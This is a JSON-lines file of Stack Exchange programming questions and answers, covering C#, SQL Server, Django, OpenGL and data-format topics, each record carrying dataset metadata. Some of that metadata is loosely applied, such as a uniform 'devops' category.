{"id": "hf_1242197b1507", "question": "<p>When working with my .Net 2.0 code base ReSharper continually recommends applying the latest c# 3.0 language features, most notably; convert simple properties into auto-implement properties or declaring local variables as var.  Amongst others.</p>\n\n<p>When a new language feature arrives do you go back and religiously apply it across your existing code base or do you leave the code as originally written accepting that if new code is written using new language features there will be inconsistencies across your code?</p>\n", "question_body": "", "answer": "If it ain't broke, don't fix it. Of course, if you have confidence in your unit tests, you can give it a whirl, but you shouldn't really go randomly changing code \"just because\".\nOf course - in some cases, simplifying code is a valid reason to make a change - but even something as innocent as switching to an auto-implemented property could break code that makes assumptions and uses reflection to update the fields directly. Or it could break serialization.\nChanging to \"var\" can actually give you a different (more specific) type, which might cause a different method overload to get selected, etc.\nSo again; it comes down to your confidence in the unit tests.\nOther considerations:\ndoes the rest of the team understand the new syntax yet?\ndoes your project need to support C# 2.0 (for example, some open source projects might want to retain compatibility with C# 2.0).\nIf neither of these are an issue, you should be OK to use the new features in new code... just be a\nlittle\ncautious before hitting \"update all\" on old code...\nHere's a trivial example of \"var\" as a breaking change:\n```\n```\nstatic void Main() {\n        using (TextReader reader = File.OpenText(\"foo.bar\")) { // [HERE]\n            Write(reader);\n        }\n    }\n    static void Write(TextReader reader) {\n        Console.Write(reader.ReadToEnd());\n    }\n    static void Write(StreamReader reader) {\n        throw new NotImplementedException();\n    }\n```\n```\nNow switch to\n```\nvar reader\n```\non the line marked\n```\n[HERE]\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.441449"}
{"id": "hf_a5b44ce72370", "question": "<p>I am using this command:</p>\n\n<p>cut -d: -f2 \n\n<p>To sort and reedit text, Is there a more efficient way to do this without using sed or awk?</p>\n\n<p>I would also like to know how I would append a period to the end of each field</p>\n\n<p>At the moment the output is like $x['s'] and I would like it to be $x['s'] .</p>\n\n<p>Just using standard unix tools</p>\n\n<p>edit: I just wanted to know if it was possible without sed or awk, otherwise how would you do it with awk?</p>\n", "question_body": "", "answer": "Short answer:\nnot really\nLonger answer:\n```\ncut\n```\nis intended for slicing up lines of text, it does that well. If you need a more complicated behavior, you'll  need a text manipulation language. You have rejected the old time answers, so I'll recommend\n```\nperl\n```\n.\nAny particular reason you don't want to use\n```\nsed\n```\nor\n```\nawk\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.510557"}
{"id": "hf_d9ca2fc3a7d1", "question": "<p>This is hopefully a simple question: I have an OpenGL texture and would like to be able to change its opacity, how do I do that? The texture already has an alpha channel and blending works fine, but I want to be able to decrease the opacity of the whole texture, to fade it into the background. I have fiddled with <code>glBlendFunc</code>, but with no luck – it seems that I would need something like <code>GL_SRC_ALPHA_MINUS_CONSTANT</code>, which is not available. I am working on iPhone, with OpenGL ES.</p>\n", "question_body": "", "answer": "I have no idea about OpenGL ES, but in standard OpenGL you would set the opacity by declaring a colour for the texture before you use it:\n```\n```\n//          R,   G,   B,   A\nglColor4f(1.0, 1.0, 1.0, 0.5);\n```\n```\nThe example would give you 50% alpha without affecting the colour of your texture. By adjusting the other values you can shift the texture colour too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.560085"}
{"id": "hf_1a082003ee81", "question": "<p>I am working with a huge list of URL's. Just a quick question I have trying to slice a part of the URL out, see below:</p>\n\n<pre><code>http://www.domainname.com/page?CONTENT_ITEM_ID=1234&amp;param2&amp;param3\n</code></pre>\n\n<p>How could I slice out:</p>\n\n<pre><code>http://www.domainname.com/page?CONTENT_ITEM_ID=1234\n</code></pre>\n\n<p>Sometimes there is more than two parameters after the CONTENT_ITEM_ID and the ID is different each time, I am thinking it can be done by finding the first &amp; and then slicing off the chars before that &amp;, not quite sure how to do this tho.</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "I figured it out below is what I needed to do:\n```\n```\nurl = \"http://www.domainname.com/page?CONTENT_ITEM_ID=1234&param2&param3\"\nurl = url[: url.find(\"&\")]\nprint url\n'http://www.domainname.com/page?CONTENT_ITEM_ID=1234'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.582815"}
{"id": "hf_15887e2649eb", "question": "<p>Is there a way in .NET 2.0 (C#) to serialize object like you do using XmlSerializer in a simple / customizable human readable format thats for instance looks like <a href=\"http://community.moertel.com/pxsl/\" rel=\"noreferrer\">PXLS</a> or JSON?\nAlso I know that XML is human readable, I'm looking for something with less annoying redundancy, something that you can output to the console as a result for the user.</p>\n", "question_body": "", "answer": "The built-in serialization options for .Net are Xml, Xml-Soap, and binary.  Since you've ruled out xml and binary is definitely not human readable, you'll have to roll your own.\nWhen rolling your own, you have a few options:\nAdd Utility or Extention methods to the class, like AviewAnew suggested\nExtend System.Runtime.Serialization.Formatter / Implement System.Runtime.Serialization.IFormatter\nFind a generic component online via google that will do what you want.\nNote that the 2nd item can be specialized for your specific class (it doesn't have to be able to handle any class, if you don't want it to) and the latter two items are not mutually exclusive.\nI have searched for a .Net JSON formatter in the past, and there are definitely multiple options out there.  However, I ended up going a different direction that time.  I just didn't feel very confident in any of them.  Maybe someone else can provide a more specific recommendation.  JSON is becoming big enough that hopefully Microsoft will include \"native\" support for it in the framework soon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.620646"}
{"id": "hf_53c90456cb4f", "question": "<p>I am using <strong>0.97-pre-SVN-unknown</strong> release of Django.</p>\n<p>I have a model for which I have not given any primary_key. Django, consequently, automatically provides an AutoField that is called &quot;id&quot;. Everything's fine with that. But now, I have to change the &quot;verbose_name&quot; of that AutoField to something other than &quot;id&quot;. I cannot override the &quot;id&quot; field the usual way, because that would require dropping/resetting the entire model and its data (which is strictly not an option). I cannot find another way around it. Does what I want even possible to achieve? If you may suggest any alternatives that would get me away with what I want without having to drop the model/table, I'd be happy.</p>\n", "question_body": "", "answer": "Look into the command-line options for\n```\nmanage.py\n```\n; there's a command to dump all of the model data to JSON, and another command to load it back in from JSON. You can export all of your model data, add your new field to the model, then import your data back in. Just make sure that you set the\n```\ndb_column\n```\noption to\n```\n'id'\n```\nso you don't break your existing data.\nEdit\n: Specifically, you want the commands\n```\ndumpdata\n```\nand\n```\nloaddata\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.643920"}
{"id": "hf_ca09f2f8ee24", "question": "<p>With SQLAlchemy, is there a way to know beforehand whether a relation would be lazy-loaded?<br>\nFor example, given a lazy parent->children relation and an instance X of \"parent\", I'd like to know if \"X.children\" is already loaded, without triggering the query.</p>\n", "question_body": "", "answer": "I think you could look at the child's\n```\n__dict__\n```\nattribute dictionary to check if the data is already there or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.678276"}
{"id": "hf_72ff3cb8b76f", "question": "<p>I need to be able to compare some month names I have in an array.</p>\n\n<p>It would be nice if there were some direct way like:</p>\n\n<pre><code>Month.toInt(\"January\") &gt; Month.toInt(\"May\")\n</code></pre>\n\n<p>My Google searching seems to suggest the only way is to write your own method, but this seems like a common enough problem that I would think it would have been already implemented in .Net, anyone done this before?</p>\n", "question_body": "", "answer": "If you are using c# 3.0 (or above) you can use extenders", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.712555"}
{"id": "hf_3d2302e842a7", "question": "<p>I've got 2 remote databases as part of a query </p>\n\n<pre><code>select p.ID,p.ProjectCode_VC,p.Name_VC,v.*\nFROM [serverB].Projects.dbo.Projects_T p\nLEFT JOIN [serverA].SOCON.dbo.vw_PROJECT v on\np.ProjectCode_VC = v.PROJ_CODE\n</code></pre>\n\n<p>The problem is that serverA uses collation <code>Latin1_General_BIN</code> and serverB uses <code>Latin1_General_CP1_CP_AS</code> and the query refuses to run.  </p>\n\n<p>Both servers are SQL 2000 servers.  Both databases are set in stone so I cannot change their collations, unfortunately.  </p>\n\n<p>Is there anyway you guys know how to get this to work?</p>\n\n<p><strong>Update:</strong>  I found an alternative solution.  In the Linked Server Properties, you can specify the linked server's collation there.</p>\n", "question_body": "", "answer": "Just add the collation to your select, like:\n```\n```\nselect \n  p.ID,\n  p.ProjectCode_VC,\n  p.Name_VC,\n  v.* \nFROM\n  [serverB].Projects.dbo.Projects_T p \n  LEFT JOIN [serverA].SOCON.dbo.vw_PROJECT v on p.ProjectCode_VC \n    collate Latin1_General_Bin = v.PROJ_CODE\n```\n```\nor the other way around. So \"convert\" one of the collations to the other.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.764560"}
{"id": "hf_3ca7d78185be", "question": "<p>I've created a Silverlight project that produces [something].xap file to package a few silverlight UserControls.  I would like to manipulate that .xap file through the use of javascript in the browser to show and hide user controls based upon java script events.</p>\n\n<p>Is it possible to do this?</p>\n\n<p>If so any sample could or links to documentation would be appreciated.</p>\n\n<p>Thanks in advance</p>\n\n<p>Kevin</p>\n", "question_body": "", "answer": "Here is a my collections of my links for this subject.\nJavascript communication to\nSilverlight 2.0\nSilverlight\ninteroperability\nSilverlight\nand JavaScript Interop Basics", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.787778"}
{"id": "hf_5d8d5ebf1bb9", "question": "<p>So here I am just about to start a big project using LINQ to SQL and then I read this:</p>\n\n<p><a href=\"http://www.infoq.com/news/2008/11/DLINQ-Future\" rel=\"nofollow noreferrer\">Is LINQ to SQL Truly Dead?</a> by Jonathan Allen for InfoQ.com</p>\n\n<p>Well, I don't want to be supporting LINQ to SQL indefinitely if it's a dead end.  So, how should I get started learning about ADO.NET Entity Framework?</p>\n", "question_body": "", "answer": "How Do I...? Videos\nHow Do I Get Started with the Entity Framework?\nHow Do I Use the new Entity Data Source?\nHow Do I Serialize a Graph with the Entity Framework?\nHow do I use Entity Client?\nADO.NET Entity Designer Video - CTP 2\nWebcasts\nMSDN Webcast: Framework Masterclass: LINQ to Entities (Level 200)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.822149"}
{"id": "hf_f9bca4b34836", "question": "<p>In C#, how do I set the Identity of a Thread?</p>\n\n<p>For example, if I have Thread MyThread, which is already started, can I change MyThread's Identity?</p>\n\n<p>Or is this not possible?</p>\n", "question_body": "", "answer": "Yes, using\nimpersonation\nliterally\n```\n```\nusing (new Impersonation())\n{\n    // your elevated code\n}\n```\n```\nand the class is as follows, for settings I use castle dictionary adaptor if it looks strange.\n```\n```\n[PermissionSet(SecurityAction.Demand, Name = \"FullTrust\")]\npublic class Impersonation : IDisposable\n{\n    private readonly SafeTokenHandle _handle;\n    private readonly WindowsImpersonationContext _context;\n\n    //const int Logon32LogonNewCredentials = 9; \n    private const int Logon32LogonInteractive = 2;\n\n    public Impersonation()\n    {\n        var settings = Settings.Instance.Whatever;\n        var domain = settings.Domain;\n        var username = settings.User;\n        var password = settings.Password;\n        var ok = LogonUser(username, domain, password, Logon32LogonInteractive, 0, out _handle);\n        if (!ok)\n        {\n            var errorCode = Marshal.GetLastWin32Error();\n            throw new ApplicationException(string.Format(\"Could not impersonate the elevated user.  LogonUser returned error code {0}.\", errorCode));\n        }\n        _context = WindowsIdentity.Impersonate(_handle.DangerousGetHandle());\n    }\n\n    public void Dispose()\n    {\n        _context.Dispose();\n        _handle.Dispose();\n    }\n\n    [DllImport(\"advapi32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\n    private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);\n\n    public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid\n    {\n        private SafeTokenHandle()\n            : base(true)\n        { }\n\n        [DllImport(\"kernel32.dll\")]\n        [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]\n        [SuppressUnmanagedCodeSecurity]\n        [return: MarshalAs(UnmanagedType.Bool)]\n        private static extern bool CloseHandle(IntPtr handle);\n\n        protected override bool ReleaseHandle()\n        {\n            return CloseHandle(handle);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.845568"}
{"id": "hf_115573ae827c", "question": "<p>I'm dynamically generating an asp form, and I would like to add the <strong>label</strong> and <strong>input</strong> elements inside a list.</p>\n\n<p>For example, I would like to end up with something like:</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;&lt;label for=\"input\"/&gt;&lt;input id=input\"/&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>To do this, I create a Label object and a TextBox object, then assign the AssociatedControlId property of the Label to link these. But I cannot add any of these in a ListItem, nor can I add these in the Controls collection of BulletedList...</p>\n\n<p>Any ideas would be greatly apreciated.</p>\n", "question_body": "", "answer": "You could probably do something like this using a Repeater.\n```\n```\n<asp:Repeater ID=\"rpt\" runat=\"server\">\n    <HeaderTemplate>\n        <ul>\n    </HeaderTemplate>\n    <ItemTemplate>\n        <li>\n            <label for='<%# string.Format(\"ctrl-{0}\", Container.ItemIndex) %>'>label for ctrl #<%# Container.ItemIndex %></label>\n            <input id='<%# string.Format(\"ctrl-{0}\", Container.ItemIndex) %>' type=\"text\" />                \n        </li>\n    </ItemTemplate>\n    <FooterTemplate>\n        </ul>\n    </FooterTemplate>\n</asp:Repeater>\n```\n```\nIf you need to add server controls to the list, you'll need to do something with the Repeater's ItemDataBound event.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:02.868669"}
{"id": "hf_9642a61716db", "question": "<p>I have a problem applying the <code>DebuggerDisplay</code> attribute on a generic class:</p>\n\n<pre><code>[DebuggerDisplay(\"--foo--\")]\nclass Foo\n{\n}\n\n[DebuggerDisplay(\"Bar: {t}\")]\nclass Bar&lt;T&gt;\n{\n    public T t;\n}\n</code></pre>\n\n<p>When inspecting an object of type <code>Bar&lt;Foo&gt;</code> I would expect it to show as <code>Bar: --foo--</code>, but I get <code>Bar: {Foo}</code></p>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "The DebuggerDisplay attribute is not recursive.  The {} inside the string essentially say evaluate this expression and display the result inline.  The string for the inner result is calculated as if there was no DebuggerDisplay attribute in play for type or member.  That is why you see {Foo} instead of --foo--.\nThe reason for this is reliability.  It is far too easy to have mutually recursive DebuggerDisplay attribute tags.  This would cause a stack overflow or infinite loop to occur when evaluating an inner expression.  Not recursively evaluating the DebuggerDisplay attribute prevents this infinite recursion (although it's still quite possible for the user to create it themselves inside a particular expression).\nOne way you can control the way the inner expression is displayed is by overriding the .ToString() method.  This will be evaluated when computing the display string for an inner expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.017697"}
{"id": "hf_501c6f173731", "question": "<p>Java is nearing version 7. It occurs to me that there must be plenty of textbooks and training manuals kicking around that teach methods based on older versions of Java, where the methods taught, would have far better solutions now.</p>\n\n<p>What are some boilerplate code situations, especially ones that you see people implement through force of habit, that you find yourself refactoring to utilize the latest versions of Java?</p>\n", "question_body": "", "answer": "Generics and no longer needing to create an iterator to go through all elements in a collection. The new version is much better, easier to use, and easier to understand.\nEDIT:\nBefore:\n```\n```\nList l = someList;\nIterator i = l.getIterator();\nwhile (i.hasNext()) {\n    MyObject o = (MyObject)i.next();\n}\n```\n```\nAfter\n```\n```\nList<MyObject> l = someList;\nfor (MyObject o : l) {\n    //do something\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.052925"}
{"id": "hf_8e59394ecf71", "question": "<p>Is there a way for me to serialize an object in .NET without the XML Namespaces automatically serializing also?  It seems that by default .NET believes the XSI and XSD namespaces should be included, but I don't want them there.</p>\n", "question_body": "", "answer": "Ahh... nevermind.  It's always the search after the question is posed that yields the answer.  My object that is being serialized is\n```\nobj\n```\nand has already been defined.  Adding an XMLSerializerNamespace with a single empty namespace to the collection does the trick.\nIn VB like this:\n```\n```\nDim xs As New XmlSerializer(GetType(cEmploymentDetail))\nDim ns As New XmlSerializerNamespaces()\nns.Add(\"\", \"\")\n\nDim settings As New XmlWriterSettings()\nsettings.OmitXmlDeclaration = True\n\nUsing ms As New MemoryStream(), _\n    sw As XmlWriter = XmlWriter.Create(ms, settings), _\n    sr As New StreamReader(ms)\n    xs.Serialize(sw, obj, ns)\n    ms.Position = 0\n    Console.WriteLine(sr.ReadToEnd())\nEnd Using\n```\n```\nin C# like this:\n```\n```\n//Create our own namespaces for the output\nXmlSerializerNamespaces ns = new XmlSerializerNamespaces();\n\n//Add an empty namespace and empty value\nns.Add(\"\", \"\");\n\n//Create the serializer\nXmlSerializer slz = new XmlSerializer(someType);\n\n//Serialize the object with our own namespaces (notice the overload)\nslz.Serialize(myXmlTextWriter, someObject, ns);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.076319"}
{"id": "hf_8709e0ff6b3c", "question": "<p>What is the optimal number of connections that can be open on a SQL Server 2000 DB. I know in the previous company I was working for, on a tru 64 box with Oracle 8i, 8 processor machine we'd figured out that 8*12= 96 connections seemed to be a good number. Is there any such calc for SQL Server 2000. The DB runs on a 2-processor(hyper threaded 4) machine. There are a lot of transactions that run against the DB. The reason I ask is because we have an app that typically tends to leave around 100 connections open even if it is not doing anything and I am having difficulty explaining that that might be a cause for our performance issues. Maybe, SQL Server does not have such a limitation... Can any of you pour forth some wisdom on this? Much appreciate it. Thanks,</p>\n\n<p>I should add it is the Standard Edition. </p>\n", "question_body": "", "answer": "This blog post on MSDN indicates there is no limit - at least in the Express editions:\nhttp://blogs.msdn.com/euanga/archive/2006/03/09/545576.aspx\nAnd this indicates that it might be 256, for lite editions -\nhttp://blogs.msdn.com/stevelasker/archive/2006/04/10/SqlEverywhereInfo.aspx\nThis also shows no limit:\nhttp://channel9.msdn.com/forums/TechOff/169030-The-difference-between-SQL-Server-2005-Express-and-Developer-Edition/?CommentID=299642\naddition\n- from a comment,\nhttp://msdn.microsoft.com/en-us/library/aa196730(SQL.80).aspx\nindicates the max is 32767, while there is no \"ideal\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.099243"}
{"id": "hf_caca1e33ab00", "question": "<p>I want to create a license key, which cryptography algorithm would you recommend?</p>\n\n<p>Basically the inputs would be:</p>\n\n<blockquote>\n  <p>company name<br/>\n  major version number<br/>\n  date created<br/>\n  expirey date<br/>\n  has feature1:<br/>\n  has feature2:<br/>\n  has feature3:</p>\n</blockquote>\n\n<p>e.g.  Acme Inc 5.0 20081102 20081102 0 1 0</p>\n\n<p>Related: <a href=\"https://stackoverflow.com/questions/258721/which-built-in-net-crypotgraphy-algorithm-is-the-most-secure\">Which built-in .NET cryptography algorithm is the most secure?</a></p>\n", "question_body": "", "answer": "If you are doing validation on the customer-side, you want to use asymmetric encryption. That way you do not have to distribute the private key to the customer. I would generate a RSA signature using SHA-256 and a 2048 bit key. If you do that, the cryptographic operations will not be the weak link. A cracker could of course change the code to skip the verification step, but no cryptographic algorithm will help that.\nIf you are doing validation server-side, I would choose a SHA-256 based HMAC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.167009"}
{"id": "hf_751ac21dc68a", "question": "<p>I have a system which is using phone numbers as unique identifiers. For this reason, I want to format all phone numbers as they come in using a normalized format. Because I have no control over my source data, I need to parse out these numbers myself and format them before adding them to my DB.</p>\n\n<p>I'm about to write a parser that can read phone numbers in and output a normalized phone format, but before I do I was wondering if anyone knew of any pre-existing libraries I could use to format phone numbers.</p>\n\n<p>If there are no pre-existing libraries out there, what things should I be keeping in mind when creating this feature that may not be obvious?</p>\n\n<p>Although my system is only dealing with US numbers right now, I plan to try to include support for international numbers just in case since there is a chance it will be needed.</p>\n\n<p><strong>Edit</strong> I forgot to mention I'm using C#.NET 2.0.</p>\n", "question_body": "", "answer": "Just strip out any non-digits, possibly using a RegEx:\n```\n[^\\d]\n```\nThe only exception might be if you want to handle extensions, to distinguish a number without an area code but with a 3 digit extension, or if you need to handle international numbers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.189384"}
{"id": "hf_3b5ed707e2df", "question": "<p>This is what I have written:</p>\n\n<pre><code>if ((lstProperty[i].PropertyIdentifier as string).CompareTo(\"Name\") == 0)\n</code></pre>\n\n<p>Resharper put me an error (I am new with ReSharper... I am trying it) and it suggests me :</p>\n\n<pre><code>  if (((string) lstProperty[i].PropertyIdentifier).CompareTo(\"Name\") == 0)\n</code></pre>\n\n<p>Why is the second is NullException safe? For me both will crash if null value appear?</p>\n", "question_body": "", "answer": "The 'as' operator will return null if the cast cannot be executed, while a C-style cast will throw an exception if it can't cast.\nI suggest breaking this out into multiple statements:\n```\n```\nstring propertyIdentifier = lstProperty[u].PropertyIdentifier as string;\nif(propertyIdentifier != null && propertyIdentifier.CompareTo(\"Name\") == 0)\n{\n    ... your if statement ...\n}\n```\n```\nResharper shouldn't complain about this, and you also won't get a NullReferenceException if the PropertyIdentifier is null or not a string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.235073"}
{"id": "hf_45590e57ce03", "question": "<p>Consider that I have a transaction:</p>\n\n<pre><code>BEGIN TRANSACTION\nDECLARE MONEY @amount\nSELECT Amount AS @amount\n  FROM Deposits\n  WHERE UserId = 123\nUPDATE Deposits\n  SET Amount = @amount + 100.0\n  WHERE UserId = 123\nCOMMIT\n</code></pre>\n\n<p>And it gets executed on 2 threads, in the order:</p>\n\n<ol>\n<li>thread 1 - select</li>\n<li>thread 2 - select</li>\n<li>thread 1 - update</li>\n<li>thread 2 - update</li>\n</ol>\n\n<p>Assume that before execution Amount is 0.</p>\n\n<p>What will happen in this case in the different settings of SQL Server (read uncommited, read commited, repeatable read, serializable), what will be amount at the end, will there be a deadlock?</p>\n", "question_body": "", "answer": "I believe that you would want to use Repeatable read, which would lock the records, the first select would get the value, then it would update blocking thread two until it was completed.  Thus an end result of 200 in your example\nRead uncommitted would result in both records setting the value to 100.\nRead committed might have a bit of an intersting result, depending on timing of the two threads....\nHere is a nice article I found about\nRepeatable Read\nas well, that provides a good example", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.307408"}
{"id": "hf_d826e0eb92b7", "question": "<p>Iv been encountering problems with disk space when deploying my app to a pocket pc emulator.</p>\n\n<p>So what Iv done is set up a shared directory on my pc to simulate a SD card, Iv copied the program there manually and then run it from the emulator, with this approach I still need to do the visual studio deployment as well so that so that the .net compact framework gets copied over.</p>\n\n<p>How do I make visual studio deploy to the shared dir? The 'Output file folder' is grayed out and I can only choose from a list of pre-defined locations.</p>\n\n<hr>\n\n<p>Sorry maybe I want not clear, when I said \"I can only choose from a list of pre-defined locations\", I was referring to the the options in the [..] menu. I need some sort of free text entry. I want something like d:\\MyShare.</p>\n\n<p>The best I was thinking is to manually edit the solution xml, but that seems a poor approach?</p>\n", "question_body": "", "answer": "The \"Output File Folder\" under Properties->Devices is greyed out, but the [...] button just to the right of it isn't.  Adjust it there.\nNOTE: To clarify, You click on the [...] button and you get a dialog that allows you to select a folder from the device (\"Location of output on device\") and enter an additional subfolder (\"Subdirectory\").  Now it may seem that you're forced to use a specific folder here, but one of the dropdown options is \"Root Folder\" which is \"\\\".  You can then add your folder, like \"Storage Card\" as the Subdirectory and get a deployment folder of \"\\Storage Card\".  Intuitive?  No.  But you can construct any output folder you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.330261"}
{"id": "hf_b090ced14078", "question": "<p>I am trying to debug a web application through IIS that has a virtual directory other than localhost.  It compiles fine but gets the above message anytime that I try to start debugging.  I have compilation debug=\"true\".</p>\n", "question_body": "", "answer": "Right click your 'web' project and select 'property pages'.  Then change 'Start Options' to 'Don't open a page. Wait for a request from an external application.' and for server, select 'Use custom server' with Base URL: '\nhttp://localhost/your_virtual_dir/\n'\nThen with a web browser opened pointing to the IIS location (and virtual dir) you setup, the two should work in tandem with each other.\nHope that helped.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.353224"}
{"id": "hf_80ef97466732", "question": "<p>Is there any reason why I should pick JSON over XML, or vice-versa if both are available? Tips for optimizing performance when dealing with data feeds are also appreciated!</p>\n", "question_body": "", "answer": "When it comes to PHP the one reason I choose XML over JSON is because even in PHP 5 there is no officially supported API for traversal. You can encode, and you can decode, and that is it. There is no validation, no efficient way to traverse key/value pairs, and all-in-all, very little support for it. Don't get me wrong, you can just use a foreach looping structure, but it really is cumbersome. JSON was touted as a great data-interchange format because JavaScript has an easy time understanding the lexical structure. So when you go from PHP to JavaScript, it is great, but when you go from JavaScript to PHP, or PHP to PHP, then JSON is not the best choice for data interchange.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:03.410129"}
